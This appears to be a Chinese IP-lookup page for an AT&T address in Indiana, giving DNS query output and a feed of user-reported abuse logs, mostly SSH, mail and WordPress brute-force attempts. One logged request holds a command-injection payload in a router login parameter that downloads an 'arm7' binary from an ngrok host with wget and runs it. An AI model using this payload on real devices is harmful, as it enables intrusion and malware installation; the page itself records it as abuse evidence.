必须是合法有效的IP地址, 可以是IPv4或者是IPv6, 例如127.0.0.1或者2001:DB8:0:0:8:800:200C:417A
基本信息:

城市(city): Frankfort

省份(region): Indiana

国家(country): United States

运营商(isp): AT&T

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:
暂无关于此IP的讨论, 沙发请点上方按钮
相同子网IP讨论:
暂无关于此IP所属子网相关IP的讨论.
WHOIS信息:
b
DIG信息:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 107.221.237.20
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 61015
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;107.221.237.20.			IN	A

;; AUTHORITY SECTION:
.			29	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2025021002 1800 900 604800 86400

;; Query time: 35 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Feb 11 11:57:05 CST 2025
;; MSG SIZE  rcvd: 107
HOST信息:
20.237.221.107.in-addr.arpa domain name pointer 107-221-237-20.lightspeed.tukrga.sbcglobal.net.
NSLOOKUP信息:
Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
20.237.221.107.in-addr.arpa	name = 107-221-237-20.lightspeed.tukrga.sbcglobal.net.

Authoritative answers can be found from:
相关IP信息:
最新评论:
IP 类型 评论内容 时间
195.130.197.158 attack
Aug  7 13:49:52 mail.srvfarm.net postfix/smtps/smtpd[3379139]: warning: unknown[195.130.197.158]: SASL PLAIN authentication failed: 
Aug  7 13:49:52 mail.srvfarm.net postfix/smtps/smtpd[3379139]: lost connection after AUTH from unknown[195.130.197.158]
Aug  7 13:54:09 mail.srvfarm.net postfix/smtpd[3376328]: warning: unknown[195.130.197.158]: SASL PLAIN authentication failed: 
Aug  7 13:54:09 mail.srvfarm.net postfix/smtpd[3376328]: lost connection after AUTH from unknown[195.130.197.158]
Aug  7 13:57:34 mail.srvfarm.net postfix/smtpd[3377061]: warning: unknown[195.130.197.158]: SASL PLAIN authentication failed:
2020-08-07 23:13:24
5.182.210.16 attackspambots
5.182.210.16 - - \[07/Aug/2020:14:17:25 +0000\] "GET /api.php HTTP/1.1" 404 357 "-" "Mozilla/5.0 \(compatible\; Googlebot/2.1\; +http://www.google.com/bot.html\)"
2020-08-07 23:30:59
5.188.206.197 attackbotsspam
2020-08-07 17:13:21 dovecot_login authenticator failed for \(\[5.188.206.197\]\) \[5.188.206.197\]: 535 Incorrect authentication data \(set_id=postmaster@nophost.com\)
2020-08-07 17:13:30 dovecot_login authenticator failed for \(\[5.188.206.197\]\) \[5.188.206.197\]: 535 Incorrect authentication data
2020-08-07 17:13:41 dovecot_login authenticator failed for \(\[5.188.206.197\]\) \[5.188.206.197\]: 535 Incorrect authentication data
2020-08-07 17:13:57 dovecot_login authenticator failed for \(\[5.188.206.197\]\) \[5.188.206.197\]: 535 Incorrect authentication data
2020-08-07 17:14:00 dovecot_login authenticator failed for \(\[5.188.206.197\]\) \[5.188.206.197\]: 535 Incorrect authentication data \(set_id=postmaster\)
2020-08-07 23:17:18
187.170.239.39 attack
Aug  7 10:38:19 mx sshd[1492]: Failed password for root from 187.170.239.39 port 60862 ssh2
2020-08-07 23:00:55
80.244.179.6 attackbots
2020-08-07T14:30:02.124864shield sshd\[12342\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=school.asazs.co.uk  user=root
2020-08-07T14:30:03.998207shield sshd\[12342\]: Failed password for root from 80.244.179.6 port 51420 ssh2
2020-08-07T14:33:17.555643shield sshd\[12627\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=school.asazs.co.uk  user=root
2020-08-07T14:33:19.530047shield sshd\[12627\]: Failed password for root from 80.244.179.6 port 46382 ssh2
2020-08-07T14:36:36.920445shield sshd\[12833\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=school.asazs.co.uk  user=root
2020-08-07 22:44:32
151.80.140.166 attackspambots
151.80.140.166 - - [07/Aug/2020:13:05:50 +0100] "POST /wp-login.php HTTP/1.1" 200 2160 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
151.80.140.166 - - [07/Aug/2020:13:05:51 +0100] "POST /wp-login.php HTTP/1.1" 200 2127 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
151.80.140.166 - - [07/Aug/2020:13:05:51 +0100] "POST /xmlrpc.php HTTP/1.1" 403 219 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
...
2020-08-07 23:05:12
170.254.226.100 attackbots
Aug  7 16:11:03 pve1 sshd[14215]: Failed password for root from 170.254.226.100 port 59382 ssh2
...
2020-08-07 22:51:26
125.82.219.69 attackbotsspam
Telnet Server BruteForce Attack
2020-08-07 22:57:44
35.221.235.64 attackbotsspam
Lines containing failures of 35.221.235.64
Aug  6 18:09:04 shared11 sshd[8865]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=35.221.235.64  user=r.r
Aug  6 18:09:06 shared11 sshd[8865]: Failed password for r.r from 35.221.235.64 port 42748 ssh2
Aug  6 18:09:06 shared11 sshd[8865]: Received disconnect from 35.221.235.64 port 42748:11: Bye Bye [preauth]
Aug  6 18:09:06 shared11 sshd[8865]: Disconnected from authenticating user r.r 35.221.235.64 port 42748 [preauth]
Aug  6 18:20:26 shared11 sshd[13140]: Connection closed by 35.221.235.64 port 44180 [preauth]
Aug  6 18:30:30 shared11 sshd[16347]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=35.221.235.64  user=r.r
Aug  6 18:30:31 shared11 sshd[16347]: Failed password for r.r from 35.221.235.64 port 56470 ssh2
Aug  6 18:30:31 shared11 sshd[16347]: Received disconnect from 35.221.235.64 port 56470:11: Bye Bye [preauth]
Aug  6 18:30:31 shared1........
------------------------------
2020-08-07 22:55:52
177.124.201.61 attack
Aug  7 15:14:30 *** sshd[13771]: User root from 177.124.201.61 not allowed because not listed in AllowUsers
2020-08-07 23:22:07
181.48.164.98 attackspam
[06/Aug/2020:11:51:59 -0400] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a HTTP/1.1" Blank UA
2020-08-07 22:49:31
140.206.157.242 attack
Aug  7 08:03:52 lanister sshd[6659]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=140.206.157.242  user=root
Aug  7 08:03:54 lanister sshd[6659]: Failed password for root from 140.206.157.242 port 55508 ssh2
Aug  7 08:05:34 lanister sshd[6664]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=140.206.157.242  user=root
Aug  7 08:05:36 lanister sshd[6664]: Failed password for root from 140.206.157.242 port 44698 ssh2
2020-08-07 23:22:33
218.92.0.248 attackspam
Aug  7 16:31:11 ns381471 sshd[626]: Failed password for root from 218.92.0.248 port 9599 ssh2
Aug  7 16:31:26 ns381471 sshd[626]: error: maximum authentication attempts exceeded for root from 218.92.0.248 port 9599 ssh2 [preauth]
2020-08-07 22:52:30
181.114.208.194 attack
Aug  7 13:53:12 mail.srvfarm.net postfix/smtpd[3376329]: warning: unknown[181.114.208.194]: SASL PLAIN authentication failed: 
Aug  7 13:53:13 mail.srvfarm.net postfix/smtpd[3376329]: lost connection after AUTH from unknown[181.114.208.194]
Aug  7 13:54:41 mail.srvfarm.net postfix/smtpd[3377211]: warning: unknown[181.114.208.194]: SASL PLAIN authentication failed: 
Aug  7 13:54:41 mail.srvfarm.net postfix/smtpd[3377211]: lost connection after AUTH from unknown[181.114.208.194]
Aug  7 14:00:31 mail.srvfarm.net postfix/smtpd[3380755]: warning: unknown[181.114.208.194]: SASL PLAIN authentication failed:
2020-08-07 23:13:58
121.142.87.218 attackspambots
SSH Brute-Forcing (server1)
2020-08-07 23:02:19

最近上报的IP列表

45.173.62.67 178.79.105.197 120.23.101.182 218.148.164.4
242.16.207.98 235.28.105.225 28.143.221.109 72.114.240.148
50.232.219.76 66.107.36.48 211.164.103.116 178.150.152.255
192.144.238.134 234.221.169.158 152.11.135.254 110.250.179.219
18.127.61.190 106.194.20.218 155.70.95.120 221.63.145.16